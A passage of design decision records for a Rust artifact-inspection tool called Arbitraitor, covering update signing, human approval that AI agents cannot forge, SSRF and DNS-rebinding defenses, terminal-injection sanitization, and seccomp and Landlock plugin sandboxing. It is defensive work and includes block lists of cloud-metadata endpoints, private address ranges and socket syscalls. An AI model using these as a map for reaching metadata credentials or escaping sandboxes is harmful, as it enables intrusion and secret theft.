  • Path traversal in metadata handling.

This demonstrates that update clients are themselves high-risk parsers and authorization engines. The selection cannot be made casually.

Decision

No Rust TUF library is selected normatively until the evaluation criteria below are satisfied. The initial implementation uses a narrowly scoped TUF-compatible first-party channel with minisign-signed metadata, behind an internal UpdateVerifier trait.

Evaluation criteria

Any selected implementation must pass ALL of the following:

  1. Current security advisories: All known vulnerabilities fixed. If tough is selected, minimum version 0.22.0.
  2. Official TUF conformance suite: Pass the official test vectors from the TUF specification.
  3. Adversarial tests: Duplicate signatures, delegated metadata length/hash/ expiry validation, cyclic delegation, path traversal, symlink targets, rollback, freeze, mix-and-match, endless data.
  4. Cache corruption behavior: Corrupted local cache fails closed (denial of service), not silently treated as valid.
  5. Root bootstrap and recovery: Documented procedure for initial root trust and out-of-band key recovery.
  6. Key separation and threshold policy: Separate root, targets, snapshot, and timestamp keys. Root and preferably targets/snapshot keys offline with threshold signatures.

Candidates

CandidateStatusNotes
tough >= 0.22.0Primary candidate (pending evaluation)AWS-maintained; 2026-019 fixes applied in 0.22.0; must pass tuf-conformance suite + adversarial tests before adoption
rust-tufDeprioritizedCommunity-maintained; confirmed limited maintenance activity as of 2026-06
Custom scoped implementationFallbackNarrower scope, easier to audit, but must implement TUF spec correctly
go-tuf (subprocess)Not preferredAdds Go runtime dependency; cross-language boundary

Interim approach

For the MVP, Arbitraitor uses:

signed manifest (minisign)
  → verify against pinned public key
  → parse versioned metadata
  → fetch targets with declared SHA-256
  → reject older snapshot versions (rollback protection)
  → check expiration timestamps

This provides:

  • Signed updates (minisign).
  • Version rollback protection.
  • Expiration checking.
  • Target integrity verification.

It does NOT provide the full TUF delegation model. Full TUF is deferred until the ADR is finalized with conformance results.

Separation of trust roots

ChannelTrust rootKey type
Binary releasesSigstore/cosign + GitHub attestationPer-release OIDC
Built-in rule packsTUF/minisignOffline project key
Intelligence feedsTUF/minisignPer-feed signing key
Trust-root metadataTUF root roleOffline threshold keys
Plugin registryTUF/minisignProject-controlled

Trusted time

Update metadata depends on time for expiration and freshness:

  • Monotonic timers for operation deadlines (not affected by clock changes).
  • Wall-clock sanity checks: detect large backward jumps.
  • Offline grace policy: explicit grace period for expired metadata when offline, not silent acceptance.
  • Optional trusted-time source for managed environments.

Consequences

  • Update security is not blocked on TUF library selection.
  • The UpdateVerifier trait allows swapping the implementation when a library passes evaluation.
  • Community registry (delegated trust) is deferred until full TUF is available.
  • The interim minisign approach is simpler to audit but lacks delegation.

Alternatives considered

  • Use tough immediately (pre-evaluation): Rejected. The 2026-019 advisory demonstrates the risk of unaudited TUF implementations.
  • No signed updates (unsigned HTTPS only): Rejected. HTTPS alone is insufficient for update integrity (CDN compromise, MITM with corporate CA).
  • Custom full TUF from scratch: Deferred. High implementation risk without conformance suite verification.

References

ADR 0013: Plan-bound approval capability model

Status: Accepted Date: 2026-06-16 Issue: #8

Context

The adversarial review (C-08) identified that digest-only approval is replayable. The same bytes may be harmless when viewed, dangerous when executed natively, or behave differently with another interpreter, argument vector, working directory, environment, destination, privilege request, or network policy.

Additionally (H-11), an AI agent that proposes a command must not be able to manufacture or confirm the human approval for that command through the same tool capability.

Decision

Replace digest-only approval with plan-bound approval capabilities.

Canonical execution plan

Approval binds to a canonical execution plan containing:

#![allow(unused)]
fn main() {
pub struct ExecutionPlan {
    pub artifact_digest: Sha256Digest,
    pub operation: OperationType,          // fetch, run, scan, unpack
    pub release_mode: ReleaseMode,          // file, stdout, execute, mount
    pub interpreter: InterpreterIdentity,   // path + digest or signer
    pub argument_vector: Vec<String>,
    pub environment_profile_digest: Sha256Digest,
    pub working_directory_policy: WorkDirPolicy,
    pub filesystem_grants: Vec<FilesystemGrant>,
    pub network_grants: NetworkGrants,
    pub sandbox_capabilities: SandboxRequirements,
    pub release_destination: Option<DestinationSpec>,
    pub policy_digest: Sha256Digest,
    pub detector_snapshot_digest: Sha256Digest,
    pub intelligence_snapshot_digest: Sha256Digest,
    pub expiry: SystemTime,
    pub nonce: OperationId,                 // single-use
}
}

Any material difference in the plan invalidates the approval. Changing the interpreter, adding an argument, altering the environment, changing the destination, or updating the policy snapshot all require fresh approval.

Approval flow

# Step 1: inspect and produce a receipt
arbitraitor fetch https://example.com/install.sh --receipt receipt.json

# Step 2: review and approve the execution plan
arbitraitor approve receipt.json --output approval.json

# Step 3: execute using the approved plan
arbitraitor execute --approval approval.json

The approval capability is a signed token containing the plan digest, approver identity, approval method, expiry, and nonce. It is non-replayable across changed plans.

Human approval display

For elevated findings, interactive approval requires typing a prefix of the plan digest:

Artifact: sha256:7c...
Plan:     sha256:91...
Type the first 12 characters of the plan digest to override:

This binds human attention to both the artifact identity and the execution context, not just the bytes.

Agent capability separation

For AI agent and MCP integration, three separate capabilities are exposed:

CapabilityWhat it doesWho uses it
inspectRetrieve, scan, report findings. No release.Agent
request_approvalSubmit plan for human review. Cannot self-approve.Agent
execute_approvedExecute using a pre-issued approval token.Agent or CI

Rules:

  • The agent that requests inspection or execution cannot also satisfy human approval through the same capability.
  • Approval is rendered by the core-owned UI or another authenticated channel — never through agent-provided text.
  • Agent-provided prose is never inserted into the approval prompt.
  • Unattended automation requires a pre-issued policy capability (e.g., CI with a pinned policy and digest expectation), not simulated user consent.

Non-interactive mode

--non-interactive must never infer approval. A prompt verdict becomes block unless policy defines an alternative (e.g., auto-pass for pinned-digest CI workflows).

Consequences

  • A leaked or replayed approval token cannot be used for a materially different operation.
  • AI agents cannot manufacture human approval.
  • CI pipelines use pre-issued policy capabilities with pinned digests, not generic --yes bypasses.
  • The approval model is more complex than digest-only, but the security guarantee is materially stronger.

Alternatives considered

  • Digest-only approval (--approve sha256:...): Rejected. Replayable across interpreters, arguments, environments, and destinations.
  • Generic --yes / --force: Rejected. No binding to specific plan.
  • Trusted UI in plugin: Rejected. Creates phishing channel.

References

  • docs/spec/spec.md C-08, H-11
  • docs/spec/spec.md §25.3 (Approval), §33 (AI agent and MCP integration)
  • ADR 0007 — Assurance levels

ADR 0014: Receipt canonicalization (RFC 8785 JCS)

Status: Accepted Date: 2026-06-16 Issue: #9

Context

Signed receipts require a canonical byte representation for the signature input. “Canonical JSON or binary” is too vague for interoperability. Different JSON serializers produce different byte output (key ordering, whitespace, number formatting, Unicode escaping), which breaks signature verification across implementations.

The adversarial review (H-06) recommended RFC 8785 JSON Canonicalization Scheme (JCS) and warned against the abandoned serde_jcs crate.

Decision

Receipt format

  1. User-facing receipts remain normal JSON (pretty-printed, human-readable).
  2. Signature input uses RFC 8785 JSON Canonicalization Scheme (JCS).
  3. Algorithm and key ID are included outside the signed payload (in a wrapper or detached signature).

Canonicalization rules (RFC 8785)

Before canonicalization, reject:

  • Duplicate JSON keys in any object.
  • Non-I-JSON numbers (NaN, Infinity, excessive precision).
  • Invalid Unicode (unpaired surrogates, non-characters).
  • Excessive nesting depth (limit: 128).
  • Oversized values (string limit: 1 MiB, total document limit: 16 MiB).

RFC 8785 mandates:

  • Lexicographic key ordering at every object level (UTF-16 code unit comparison).
  • Number serialization in the shortest round-trippable form (no trailing zeros, scientific notation with lowercase e when shorter).
  • String serialization with required escape sequences (\", \\, control characters as \u00XX).
  • No whitespace between tokens.
  • No trailing newline.

Library evaluation

CandidateStatusNotes
serde_json_canonicalizerSelectedMaintained; purpose-built for RFC 8785; no unsafe code; must pass official test vectors before use
serde_jcsRejectedMaintenance concerns; known conformance divergences from RFC 8785
Custom implementationFallbackLast resort; high risk of subtle bugs

Selection criteria:

  1. Passes official RFC 8785 test vectors.
  2. Rejects duplicate keys, invalid Unicode, non-I-JSON numbers.
  3. Deterministic output across platforms and architectures.
  4. Maintained and responsive to issues.
  5. No unsafe code.

Signature envelope

{
  "receipt": { ... },
  "signature": {
    "algorithm": "ed25519",
    "key_id": "sha256:abc123...",
    "value": "base64:...",
    "canonicalization": "rfc8785"
  }
}

The receipt object is canonicalized per RFC 8785, then the canonical bytes are signed. The signature object is not part of the signed payload.

Test vectors

Arbitraitor publishes official canonicalization test vectors covering:

  • Key ordering (including UTF-16 ordering edge cases).
  • Number formatting (integers, floats, scientific notation).
  • String escaping (control chars, surrogates, non-ASCII).
  • Nesting and empty containers.
  • Duplicate key rejection.
  • Receipt-sized realistic examples.

Consequences

  • Receipt signatures are verifiable by any RFC 8785-compliant implementation, not just Arbitraitor.
  • The canonicalization is deterministic: the same receipt always produces the same signature.
  • Large receipts (deep payload graphs, many findings) are bounded by the nesting and size limits.
  • The canonicalization library is a critical-path dependency for receipt signing — it must be audited and fuzzed.

Alternatives considered

  • CBOR canonical encoding: Considered. More compact binary format with a well-defined canonical form (RFC 7049 §3.1). However, receipts are JSON-first for human readability and tooling interoperability. CBOR could be used for the signature input while keeping JSON for display, but this adds complexity.
  • TLS-style signed JSON (custom): Rejected. Custom canonicalization is a well-known source of signature bypass vulnerabilities.
  • JWT/JWS: Rejected. Base64url-encoded, not human-readable, and the claims model doesn’t map cleanly to receipts.

References

ADR 0015: Safe destination release semantics

Status: Accepted Date: 2026-06-16 Issue: #10

Context

The CAS is carefully designed with atomic commit, restrictive permissions, and digest verification. However, release to a user-specified path is underspecified. The adversarial review (H-01) identified TOCTOU and overwrite attack vectors at the release destination.

Decision

Define mandatory release-to-path controls. Every release operation follows this sequence:

Release procedure

1. Reopen the CAS object read-only.
2. Recompute SHA-256.
3. Compare with scanned identity. FAIL if mismatch.
4. Verify no policy or intelligence update invalidated the verdict
   (if freshness policy requires it).
5. Open the destination parent directory through a capability-rooted handle
   (cap-std Dir).
6. Reject symlinks, junctions, reparse points, hard-link surprises, and
   unexpected replacement at the destination path.
7. Create a new sibling temporary file with:
   - Restrictive permissions (0600 on POSIX, user-restricted ACL on Windows).
   - O_NOFOLLOW / no-follow semantics.
   - No executable bit (never make scripts executable just because the URL
     ended in .sh).
8. Write the artifact bytes.
9. Verify the final digest of the written file.
10. Atomically rename to the destination when the filesystem supports it.
11. If atomic rename is not possible (cross-filesystem), report and require
    policy approval for the non-atomic copy.
12. Preserve or add platform download provenance (see ADR 0010).
13. Record the final destination identity and release method in the receipt.

Overwrite policy

  • No overwrite by default. If the destination exists, release fails.
  • --replace requires explicit flag and policy approval.
  • Replacement follows the same sibling-temp + atomic-rename procedure.

Before writing:

  • fstatat with AT_SYMLINK_NOFOLLOW on POSIX to verify the destination is not a symlink.
  • Check for reparse points / junctions on Windows.
  • Reject hard links (check link count).

The parent directory handle (from step 5) ensures the path cannot be replaced with a symlink between the check and the write, because all operations are relative to the capability handle.

Cross-filesystem awareness

If the staging directory and destination are on different filesystems, atomic rename is impossible. Arbitraitor:

  1. Detects the cross-filesystem condition.
  2. Reports it as a finding.
  3. Requires explicit policy approval or --allow-non-atomic.
  4. Records the non-atomic copy in the receipt.

Property test requirements

  • Path traversal: destination cannot escape the parent directory.
  • Symlink replacement: attacker cannot swap destination with a symlink between open and write.
  • Hard-link attack: destination cannot be a hard link to a sensitive file.
  • Reparse-point: Windows junctions and reparse points rejected.
  • Permissions: written file has restrictive permissions on all platforms.
  • Digest verification: written file hashes to the scanned identity.

Consequences

  • An attacker who can write to the destination directory cannot intercept, replace, or corrupt the released artifact.
  • Users must explicitly opt in to overwrite or non-atomic copies.
  • Scripts are never silently made executable.
  • The release path is as carefully defended as the CAS commit path.

Alternatives considered

  • Simple std::fs::write: Rejected. No TOCTOU defense, no capability handles, no symlink rejection.
  • Always atomic (refuse cross-filesystem): Rejected. Too restrictive for real-world use. Report and require approval instead.
  • Inherit umask permissions: Rejected. Unpredictable; use explicit restrictive permissions.

References

  • docs/spec/spec.md H-01
  • docs/spec/spec.md §26.2 (Exact-byte and destination-safe release)
  • docs/spec/tech-stack.md §5 (Filesystem and content-addressed store)
  • ADR 0010 — Provenance markers

ADR 0016: Terminal and Unicode sanitization renderer

Status: Accepted Date: 2026-06-16 Issue: #11

Context

URLs, headers, filenames, source snippets, package metadata, YARA matched strings, detector evidence, and plugin messages are untrusted content that Arbitraitor displays to users. The adversarial review (H-02) identified that this content may contain:

  • ANSI CSI sequences (cursor movement, color, erase).
  • OSC sequences (set window title, clipboard operations, hyperlinks).
  • Carriage returns and line rewriting.
  • Control characters (bell, backspace, etc.).
  • Unicode bidi controls (RLO, LRO, PDF — UTS #9).
  • Mixed-script confusable characters (UTS #39).
  • Extremely long combining sequences.
  • Null bytes and other non-printable characters.

These can be used for terminal injection attacks, reviewer confusion, log-injection, and clipboard hijacking.

Decision

Implement one core-owned strict renderer through which all untrusted text must pass before reaching the terminal. Plugins never render terminal output directly.

Renderer rules

CategoryTreatment
C0 controls (0x00–0x1F) except \t, \nEscaped or stripped
C1 controls (0x80–0x9F)Escaped or stripped
ANSI CSI (ESC [)Escaped, never interpreted
ANSI OSC (ESC ])Escaped, never interpreted
Terminal hyperlinks (ESC ]8;;)Disabled
Carriage return (\r)Escaped
Unicode bidi (RLO U+202E, LRO U+202D, PDF U+202C, etc.)Visualized
Mixed-script confusables (UTS #39)Labeled with both Unicode and escaped forms
Invisible/suspicious characters (ZWSP, ZWNJ, etc.)Visualized
Line lengthCapped (default 2000 chars per line)
Total output volumeBounded

Display rules

  • When displaying source code, filenames, or URLs that contain suspicious Unicode, show both the Unicode form and the escaped form:
Filename: caⅰc.o  [U+2170 SMALL ROMAN NUMERAL I → U+0069 LATIN SMALL LETTER I]
  • When displaying text with bidi controls, show a visual indicator:
⚠ Bidirectional override detected; rendered left-to-right:
  curl https://example.com/install.sh

Architecture

#![allow(unused)]
fn main() {
pub trait TerminalRenderer {
    /// Render untrusted text safely for terminal display.
    fn render_text(&self, text: &str, context: RenderContext) -> RenderedText;

    /// Render a source code snippet with safe highlighting.
    fn render_source(&self, source: &str, language: &str, spans: &[SourceSpan]) -> RenderedText;

    /// Render a URL with redaction.
    fn render_url(&self, url: &RedactedUrl) -> RenderedText;
}

pub struct RenderContext {
    pub max_line_length: usize,
    pub max_total_chars: usize,
    pub show_unicode_escapes: bool,
    pub show_bidi_warnings: bool,
    pub show_confusable_warnings: bool,
}
}

The renderer is owned by arbitraitor-cli and used for all human-facing output. Machine output (--json, --sarif) is structurally encoded (valid JSON), not terminal-rendered.

Plugin output

Plugins return structured data (typed fields, findings, evidence). The core renderer converts structured data into terminal-safe output. Plugins cannot emit raw terminal bytes.

JSON output

JSON output uses standard JSON string encoding. ANSI sequences, control characters, and invalid Unicode are represented as escape sequences (\u001b, etc.). This is safe because JSON consumers parse the structure, not render it as a terminal.

Consequences

  • Terminal injection, clipboard hijacking, and reviewer confusion attacks are neutralized.
  • Mixed-script homograph attacks (e.g., caⅰc.org vs caic.org) are visually flagged.
  • Plugins cannot inject terminal control sequences.
  • The renderer adds a small amount of overhead to every output operation.

Implementation notes

Rust crates to evaluate for the renderer:

  • vte or strip-ansi-escapes for ANSI sequence stripping.
  • Custom UTS #39 confusable detection (the unicode-security crate if available, or a focused implementation).
  • unicode-bidi for bidi analysis (already a dependency of many crates).

The renderer must be fuzzed with adversarial input containing every category of dangerous content.

Alternatives considered

  • Trust plugin output: Rejected. Creates terminal injection and phishing channels.
  • Strip all non-ASCII: Rejected. Punishes legitimate international content; users need to see real filenames and URLs.
  • Per-output ad-hoc escaping: Rejected. Inconsistent; easy to miss a path.

References

ADR 0017: Monotonic project configuration

Status: Accepted Date: 2026-06-16 Issue: #13

Context

A cloned repository may contain .arbitraitor.toml. Automatically treating it as trusted policy would let the repository request plugins, trust roots, network access, remote analysis, or weaker execution. The adversarial review (H-10) identified this as a high-severity gap.

Decision

Project configuration (.arbitraitor.toml) is untrusted repository content. It may only tighten inherited policy, never weaken it.

What project config MAY do (monotonic tightening)

  • Require stricter detectors.
  • Lower resource limits (max bytes, max time, max depth).
  • Declare expected hashes (expected_sha256 = "...").
  • Declare expected signer identities.
  • Deny network, plugins, or execution modes.
  • Require additional provenance verification.

What project config MAY NOT do

Prohibited actionReason
Add trust roots or allowed publishersUntrusted content cannot grant trust
Enable a pluginPlugin code is extended TCB
Permit remote sample uploadPrivacy violation
Relax HTTPS, network, sandbox, or privilege restrictionsWeakens security boundary
Weaken required detectorsCould hide malicious behavior
Create allow exceptionsCould suppress real findings
Alter update channelsCould redirect to malicious updates
Select a privileged helperPrivilege escalation vector

Discovery and loading rules

  1. Explicit opt-in: Project config is loaded only when enabled by user or organization policy ([discovery] load_project_config = true).
  2. Rooted to verified workspace: The .arbitraitor.toml file must be in the current working directory or an explicitly declared workspace root.
  3. Safe handles: Configuration paths are opened through capability handles (cap-std), not string-prefix checks.
  4. Origin in policy trace: The policy evaluation trace identifies which settings came from untrusted project configuration.
  5. Digest recorded: The project config file’s SHA-256 is recorded in the receipt.

Validation

When loading project config, the policy engine validates that every setting is a monotonic tightening of the inherited policy:

  • If project config sets max_download_bytes to a value higher than the inherited limit → rejected.
  • If project config enables a detector that inherited policy disabled → allowed (tightening).
  • If project config disables a detector that inherited policy requires as mandatory → rejected.
  • If project config attempts to add a trust root → rejected with a policy violation finding.

Configuration precedence

built-in defaults
  > /etc/arbitraitor/config.toml       (trusted: system)
  > organization-managed config        (trusted: org)
  > project .arbitraitor.toml          (UNTRUSTED: repository content, monotonic only)
  > user config                        (trusted: user-owned)
  > command-line options               (trusted: user-invoked)

Each level may tighten but not weaken the level above it (except project config, which may only tighten, period). CLI override with audit is the sole exception.

Consequences

  • Cloning a malicious repository cannot weaken Arbitraitor’s security posture.
  • A project can declare “this artifact should be signed by identity X” — a legitimate tightening — but cannot declare “trust all artifacts from this repository.”
  • The policy trace makes it visible when project config is active.
  • The monotonic-tightening validation is property-tested.

TOML schema sketch

# .arbitraitor.toml — UNTRUSTED, monotonic tightening only
schema_version = 1

[integrity]
expected_sha256 = "7c..."
expected_signer = "did:key:z6Mk..."

[detectors]
# May ADD requirements but not remove mandatory ones
require_additional = ["binary_inspector"]

[limits]
# May LOWER limits but not raise them
max_download_bytes = "100MiB"

Unknown fields that attempt to add trust roots, enable plugins, or relax restrictions are rejected by deny_unknown_fields validation.

Alternatives considered

  • Trust project config fully: Rejected. Repository content is attacker- controlled.
  • Ignore project config entirely: Rejected. Loses legitimate use case of declaring expected hashes and signers.
  • Sign project config and trust signed ones: Rejected for MVP. Creates a key management burden and a new trust root bootstrap problem. May be reconsidered later for trusted organizations.

References

  • docs/spec/spec.md H-10
  • docs/spec/spec.md §9.24 (Monotonic project configuration), §30.3 (Configuration trust boundaries)
  • ADR 0004 — TOML format

ADR 0018: SSRF, proxy, and connected-peer address verification

Status: Accepted Date: 2026-06-16 Issue: #14

Context

The adversarial review (H-03) identified that ambient proxy settings, system proxy configuration, cookie jars, netrc files, and custom cert stores can influence reqwest behavior. With a proxy, Arbitraitor may not resolve or directly connect to the target host, changing SSRF and peer-address guarantees.

A URL allow/deny check before DNS resolution is insufficient because DNS rebinding can return different addresses on consecutive queries.

Decision

Address verification pipeline

Every HTTP request follows this pipeline. The pipeline repeats for every redirect and retry:

1. Parse and normalize the hostname.
2. Resolve all candidate addresses via DNS.
3. Reject disallowed address classes:
     - Private (RFC 1918): 10/8, 172.16/12, 192.168/16
     - Loopback: 127/8, ::1
     - Link-local: 169.254/16, fe80::/10
     - Multicast: 224/4, ff00::/8
     - Cloud metadata: 169.254.169.254, fd00:ec2::254 (AWS), and known
       equivalent endpoints for GCP/Azure/Oracle
     - Unspecified: 0.0.0.0, ::
4. Connect ONLY to an approved resolved address.
5. Verify the connected peer address where the platform exposes it
   (getpeername after connect).
6. Apply policy to IPv4-mapped IPv6 and unusual textual representations.
7. If the connected address differs from the resolved address (e.g., DNS
   rebinding), abort and report.

Ambient configuration disabled by default

SettingDefaultOverride
HTTP proxy (HTTP_PROXY)IgnoredExplicit in operation plan
HTTPS proxy (HTTPS_PROXY)IgnoredExplicit in operation plan
ALL proxy (ALL_PROXY)IgnoredExplicit in operation plan
Cookie jarDisabledExplicit scoped jar
netrcDisabledExplicit credential reference
Credential helpersDisabledExplicit credential reference
No-proxy (NO_PROXY)IgnoredExplicit bypass list

Proxy semantics

When a proxy is explicitly configured in the operation plan:

QuestionAnswer
Who performs DNS resolution?Documented per proxy type
Who connects to the target?The proxy, not Arbitraitor
Can we verify the target IP?No — only the proxy peer
What does the receipt say?“Connected to proxy, target IP unverified”

Never claim connected-target-IP verification when only the proxy peer is observable. The receipt must record:

{
  "connection": {
    "proxy": { "type": "https_connect", "address": "proxy.example.com:443" },
    "target_resolution": "proxy_performed",
    "target_address_verified": false
  }
}

Redirect handling

On every redirect:

  1. Normalize and re-evaluate the new URL.
  2. Enforce maximum redirect count (default: 5).
  3. Block HTTPS-to-HTTP downgrade by default.
  4. Remove authorization headers and cookies on cross-origin redirects.
  5. Re-run IP-range and network-boundary policy on the new hostname.
  6. Record the chain.
  7. Detect redirect loops and suspicious origin changes.
  8. Findings for: unexpected cross-origin, URL shortener, raw IP redirect, low-reputation domain redirect, content-disposition filename change, content-type mismatch.

TLS trust backend

Use a policy-selectable trust backend:

ModeUse caseRisk
WebPKI roots (default)Hermetic CI, reproducible buildsRoot set must be kept current
Platform verifierWorkstation mode, enterprise trustLarger parsing surface; enterprise roots
Custom root setTesting, specific trust domainsManual management

The rustls-platform-verifier project notes that a pure Rust verifier can be preferable for applications that deliberately connect to many untrusted TLS endpoints. Use a policy-selectable backend rather than one universal default.

Implementation approach

Phase 1 (MVP): Use reqwest with explicit configuration:

  • Disable auto-decompression, ambient proxy, cookies, netrc.
  • Custom resolve callback that performs address filtering.
  • Redirect policy set to none — Arbitraitor handles redirects manually.
  • Connect callback (if available) to verify peer address.

Phase 2 (if reqwest is insufficient): Custom Hyper connector that:

  • Resolves DNS through Arbitraitor’s filtered resolver.
  • Binds policy to the actual connection.
  • Verifies connected peer address post-connect.
  • Supports Hickory DNS behind a resolver trait for deterministic resolution and DNSSEC-aware experiments.

DNS rebinding defense

The connector must:

  1. Resolve the hostname.
  2. Connect to a specific resolved address.
  3. Verify (via getpeername) that the connected address matches.
  4. If they differ (rebinding occurred between resolve and connect), abort.

This check is meaningful only when Arbitraitor performs the connection, not when a proxy does.

Consequences

  • SSRF attacks (redirecting to internal services, cloud metadata) are blocked.
  • DNS rebinding attacks are detected and rejected.
  • Proxy mode honestly reports reduced verification capability.
  • Ambient configuration cannot leak credentials or bypass address policy.
  • The implementation may require a custom Hyper connector, adding complexity to the fetch layer.

Alternatives considered

  • Trust reqwest defaults: Rejected. Ambient proxy, cookies, and netrc create credential leakage and SSRF bypass.
  • URL allow/deny before resolution only: Rejected. DNS rebinding defeats this.
  • Block all proxies: Rejected. Enterprise environments require explicit proxy support with honest reporting.

References

  • docs/spec/spec.md H-03
  • docs/spec/tech-stack.md §4.4 (Redirects and credentials), §4.5 (SSRF and DNS rebinding)
  • docs/spec/spec.md §11.2 (HTTP behavior)
  • rustls-platform-verifier
  • ADR 0003 — Fetcher trait

ADR 0019: catch_unwind and panic = "abort" interaction

Status: Accepted Date: 2026-06-18

Context

The arbitraitor-analysis crate uses catch_unwind(AssertUnwindSafe(|| detector.analyze(ctx))) to isolate detector panics — when a detector panics, the coordinator records DetectorStatus::Error and continues running remaining detectors, then derives an Incomplete verdict (fail-closed).

ADR 0001 establishes panic = "abort" for the release profile. Under panic = "abort", catch_unwind is a no-op: a panic aborts the process rather than unwinding the stack, so the catch_unwind closure never returns Err and the DetectorStatus::Error path is never reached.

This means detector isolation via catch_unwind is functional in debug and test builds only. In production (release) builds, a detector panic aborts the entire process.

Decision

Accept the tension as an intentional two-tier defense:

  1. Debug/test builds (panic = "unwind"): catch_unwind provides detector isolation. A panicking detector is caught, recorded as DetectorStatus::Error, and the analysis continues. The verdict is Incomplete. This enables robust testing of detector error handling.

  2. Release builds (panic = "abort"): Process abort is the fail-closed mechanism. A detector panic kills the process, producing no verdict at all. The caller observes a non-zero exit and must treat the artifact as untrusted. This is strictly more conservative than Incomplete.

The workspace clippy::panic = "deny" and unwrap_used = "deny" lints minimize the sources of unintentional panics. Remaining panic sources (index out of bounds in dependencies, stack overflow) are rare and result in process abort in release — the safest possible outcome for a security boundary.

Consequences

  • DetectorStatus::Error(panic_message) and the Incomplete verdict for panics are dead code in release builds. They remain valuable for debug/test coverage and are not removed.
  • DetectorStatus::Timeout is similarly debug-only (see #79 for timeout enforcement design).
  • Future consumers of the analysis pipeline must distinguish “no verdict due to process abort” from an explicit Incomplete verdict. The receipt schema should account for this in a future revision.
  • The AssertUnwindSafe wrapper is sound: analyze(&self, &AnalysisContext) holds only immutable references, so no mutation crosses the unwind boundary.

Alternatives Considered

  1. panic = "unwind" in release: Rejected by ADR 0001 for binary size, compile time, and defense-in-depth reasons. Process abort is the preferred fail-closed mechanism for a security boundary.

  2. Spawn each detector in a separate process: Would provide isolation even under panic = "abort", but introduces IPC complexity, serialization overhead, and non-determinism — unacceptable for the MVP.

  3. Remove catch_unwind entirely: Would simplify the code but lose valuable debug-time detector isolation and error reporting.

ADR 0020: Seccomp-BPF network isolation for subprocess plugins

Status: Accepted Date: 2026-06-23 Issue: #208

Context

ADR 0006 defines plugin instances as networkless by default. The Wasmtime Component Model path already withholds WASI networking capabilities, but the subprocess fallback executes native binaries. A community subprocess plugin could open sockets directly and exfiltrate artifact contents, environment-derived metadata, or analysis results.

ADR 0008 also makes runtime network access denied by default because unrestricted egress defeats transitive payload coverage. Native subprocess plugins therefore need an operating-system boundary that applies before untrusted code runs.

Decision

Install a Linux seccomp-BPF filter in the subprocess plugin child via pre_exec, after resource limits are registered and before the general process sandbox. The filter blocks socket-related syscalls with SECCOMP_RET_ERRNO | EPERM, not SECCOMP_RET_KILL, so plugins observe ordinary permission failures instead of process termination.

The filter denies socket creation, socket pairs, connect, bind, listen, accept, socket send/receive calls, endpoint inspection, and socket option syscalls. It first checks seccomp_data.arch against the build architecture’s AUDIT_ARCH_* value so ABI confusion cannot bypass the syscall-number denylist. Use raw classic BPF through libc rather than libseccomp or another C-backed dependency. The required policy is a short denylist with an allow-by-default fall-through, and avoiding a new native dependency keeps the sandbox supply-chain and deployment surface smaller.

Network isolation is enabled by default for SubprocessExecutor. Callers may disable it only when policy explicitly grants a plugin network capability. The current implementation enforces on Linux x86_64 and aarch64; other platforms must report this control as unavailable rather than silently claiming isolation. Landlock filesystem isolation remains separate work (#209).

Consequences

  • Community subprocess plugins can no longer create network sockets under the default executor policy on supported Linux architectures.
  • Existing filesystem and stdio behavior remains available because the filter is scoped to network-related syscalls.
  • Plugins that legitimately require network access need an explicit policy grant and must use with_network_isolated(false).
  • Non-Linux and unsupported Linux architectures still need a platform-specific enforcement mechanism before they can claim subprocess plugin network denial.

Alternatives considered

  • libseccomp-rs: Rejected. It provides a clearer API but adds a native C library dependency to a security boundary.
  • Network namespaces: Deferred. They are stronger but require namespace setup, lifecycle handling, and often privilege/user-namespace considerations.
  • SECCOMP_RET_KILL: Rejected. Killing plugins obscures policy failures and makes graceful capability-denied behavior harder to test and debug.

References

  • ADR 0006 — Wasmtime Component Model for plugins
  • ADR 0008 — Execution context security profile
  • Linux seccomp(2)
  • Linux seccomp_data and classic BPF filter ABI

ADR 0021: Landlock filesystem isolation for subprocess plugins

Status: Accepted Date: 2026-06-23 Issue: #209

Context

ADR 0006 defines plugins as capability-bounded components and ADR 0011 treats community plugins as untrusted until proven otherwise. The Wasmtime Component Model path withholds ambient WASI filesystem access, but subprocess plugins run as native binaries under Arbitraitor’s user ID. Without an operating-system filesystem boundary, a subprocess plugin can read any file that user can read, including configuration, SSH material, token stores, and host metadata.

ADR 0020 added seccomp-BPF network isolation for subprocess plugins. Filesystem access needs a separate control because network denial does not prevent local secret discovery or later exfiltration through plugin output.

Decision

Install a Linux Landlock ruleset in the subprocess plugin child via pre_exec, after resource limits, network isolation, and the general process sandbox have been registered. The ruleset handles all Landlock filesystem access bits known to the running kernel ABI and denies governed access by default.

The executor grants read/execute access to the plugin binary’s parent directory and common dynamic-linker runtime directories (/bin, /usr/bin, /lib, /lib64, /usr/lib, /usr/lib64) so dynamically-linked plugin binaries can start without allowing /etc or user home directories. If the caller supplies a plugin working directory, the child receives read/write/create/remove/execute access beneath that directory. All other governed filesystem accesses fail with the Landlock EACCES behavior.

Use raw Linux syscalls through libc rather than adding liblandlock, libseccomp, or another native dependency. The sandbox crate owns the unsafe FFI boundary; plugin-host remains forbid(unsafe_code) and invokes only safe wrappers.

Linux kernels before Landlock support (5.13) degrade gracefully: the hook returns success without installing a ruleset, and callers must treat filesystem isolation as unavailable on those hosts rather than claiming enforcement.

Consequences

  • Supported Linux hosts now deny subprocess plugins ambient access to /etc, home directories, and other undeclared filesystem paths.
  • Dynamically-linked plugins still start because read/execute grants cover the common ELF interpreter and shared-library search paths.
  • Working-directory access becomes explicit and bounded beneath the configured directory instead of inheriting all same-UID filesystem privileges.
  • Unsupported kernels and non-Linux platforms still require a platform-specific enforcement mechanism before they can claim subprocess plugin filesystem isolation.

Alternatives considered

  • Require statically-linked plugins only: Rejected for now. It would simplify Landlock rules but would break existing dynamically-linked subprocess plugins and tests.
  • Allow read access to all of /: Rejected. It preserves compatibility but fails the security goal by continuing to expose host secrets.
  • Parse ELF dependencies per plugin: Deferred. It would reduce runtime read grants but adds format parsing and linker-policy complexity to the spawn path.
  • liblandlock or a Rust Landlock crate: Rejected. Raw syscalls are small, already consistent with the seccomp sandbox, and avoid a new security-boundary dependency.

References

  • ADR 0006 — Wasmtime Component Model for plugins
  • ADR 0011 — Plugin trust classification model
  • ADR 0020 — Seccomp-BPF network isolation for subprocess plugins
  • Linux landlock_create_ruleset(2), landlock_add_rule(2), and landlock_restrict_self(2)

ADR 0022: SLSA Build Level target for Arbitraitor releases

Status: Accepted Date: 2026-06-29 Issue: #272

Context

